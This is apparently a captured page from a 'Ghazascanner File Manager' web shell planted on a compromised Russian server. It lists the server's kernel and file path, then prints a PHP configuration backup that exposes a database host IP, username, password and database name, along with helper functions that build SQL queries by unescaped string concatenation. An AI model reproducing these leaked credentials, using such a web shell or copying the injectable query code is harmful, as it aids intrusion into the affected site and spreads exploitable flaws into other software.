@Ghazascanner
_2019runbot
Ghazascanner File Manager
server :Linux www.thesweb.ru 4.19.0-22-amd64 #1 SMP Debian 4.19.260-1 (2022-09-29) x86_64
Current Path :
/
var
/
www
/
www-root
/
data
/
www
/
thesweb.ru
/
sci_thes
/
Path :
Upload File :
New :
File
Dir
/var/www/www-root/data/www/thesweb.ru/sci_thes/config.php.zp1
<?php /*error_reporting(2047); define ("BASEPATH", "123"); require "/var/www/webr4/application/libraries/phpsession.php"; //include_once "/var/www/webr4/application/libraries/phpsession.php"; $sess = new Phpsession(); $userwebr4 = $sess->get('logged_user'); if (!$userwebr4) { $url = '/webr4/login/form?back_url=' . $_SERVER['REQUEST_URI']; header('Location:' . $url); die(); }*/ //ob_start(); //session_start(); $DBServer = "192.168.1.241"; $DBuid = "logan4"; $DBpwd = "3dbscan"; $db = "thes_yago_20180908"; //$proj_name = $db; $proj_name = 'ЛО "Знание"'; if ((isset($_SESSION['valid_thes_' . $db])) && ($_SESSION['valid_thes_' . $db] === true)) { $usr_id = $_SESSION['usr_id']; $usr_name = $_SESSION['username']; $ssid = $_SESSION['ssid']; $isadm = ($_SESSION['usertypeid'] === 10); //echo($usr_id); } else { $usr_id = -1; $usr_name = ''; $ss_id = 0; $isadm = 0; unset($usr_id); unset($ss_id); } $start_page = '/'; //ini_set('mssql.charset', 'UTF-8'); //setlocale(LC_ALL, 'ru_RU.CP1251'); // $locale = setlocale(LC_ALL, 'ru_RU.CP1251', 'rus_RUS.CP1251', 'Russian_Russia.1251'); function RoundFloatByZnak($val, $cnt) { if ($val == null) return $val; $k = 0; while ($k < 8) { if (floor($val * pow(10, $k)) != 0) break; $k++; } return round($val, $k+$cnt-1); } function FormatErrors( $errors ) { echo "Error information: \n"; foreach ( $errors as $error ) { echo "SQLSTATE: ".$error['SQLSTATE']."\n"; echo "Code: ".$error['code']."\n"; echo "Message: ".$error['message']."\n"; } } $connect_string = "host=" . $DBServer . " port=5432 dbname=" . $db . " user=" . $DBuid . " password=" . $DBpwd . ""; $conn = pg_connect($connect_string); exec_sql($conn, 'SET search_path TO public;'); if( $conn === false ) { echo "Unable to connect.</br>"; die( print_r( pg_errors(), true)); } function exec_sql($conn, $sql) { $res = pg_query($conn, $sql); pg_free_result( $res); return true; } function get_data_array($conn, $sql) { $res = pg_query($conn, $sql); //$res2 = pg_fetch_assoc($result); $data = array(); while($row = pg_fetch_assoc($res)) { $data[] = $row; } pg_free_result( $res); return $data; } function get_data_one_val($conn, $sql) { $res = pg_query($conn, $sql); $data = ''; if ($row = pg_fetch_row($res)) { //echo ($sql); //print_r($row); $data = $row[0]; } pg_free_result( $res); return $data; } function get_data_one_row($conn, $sql) { $res = pg_query($conn, $sql); $data = array(); if ($row = pg_fetch_assoc($res)) { $data = $row; } pg_free_result( $res); return $data; } function get_rubricator_prefix($conn, $rubricatorid) { $rubcator_prefix = ''; $sqlx = "SELECT rubrdir FROM rubcator WHERE rubricatorid = " . $rubricatorid; $r = get_data_one_row($conn, $sqlx); if (($r != null)&&($r['rubrdir'] != '')) { $r['rubrdir'] = str_replace('/', '_', $r['rubrdir']); $r['rubrdir'] = str_replace('\\', '_', $r['rubrdir']); if (($r['rubrdir'] != '') && ($r['rubrdir'][strlen($r['rubrdir'])-1]) != '_') $r['rubrdir'] .= '_'; //if (($r['rubrdir'] != '') && ($r['rubrdir'][0]) != '$') $r['rubrdir'] = '___' . $r['rubrdir']; $sqlx = "select count(*) as cnt from pg_tables where lower(tablename)=lower('" . $r['rubrdir'] . "rubrics')"; $r2 = get_data_one_row($conn, $sqlx); if ($r2['cnt'] > 0) { $rubcator_prefix = strtolower($r['rubrdir']); } } return $rubcator_prefix; } function get_session_info($conn, $ssid) { $q = 'select s1.datestart + s1.timestart AS dt, u1.login, s1.sessionid, s1.datestart, s1.timestart, s1.dateend, s1.timeend FROM session s1 JOIN users u1 ON u1.userid = s1.userid WHERE s1.sessionid = ' . $ssid; return get_data_one_row($conn, $q); } function correctString ($string) { $search = array( "й","ц","у","к","е","н","г","ш","щ","з","х","ъ", "ф","ы","в","а","п","р","о","л","д","ж","э", "я","ч","с","м","и","т","ь","б","ю", "q","w","e","r","t","y","u","i","o","p","[","]", "a","s","d","f","g","h","j","k","l",";","'", "z","x","c","v","b","n","m",",","." ); $replace = array( "q","w","e","r","t","y","u","i","o","p","[","]", "a","s","d","f","g","h","j","k","l",";","'", "z","x","c","v","b","n","m",",",".", "й","ц","у","к","е","н","г","ш","щ","з","х","ъ", "ф","ы","в","а","п","р","о","л","д","ж","э", "я","ч","с","м","и","т","ь","б","ю" ); return str_replace($search, $replace, $string); } function get_user_ss_info($conn, $userssid) { return get_data_one_val($conn, "SELECT u.login || ' [' || to_char(datestart + timestart, 'YYYY-MM-DD HH24:MI:SS') || ']' as sessioninfo FROM session s JOIN users u ON u.userid = s.userid WHERE sessionid= " . $userssid); } ?>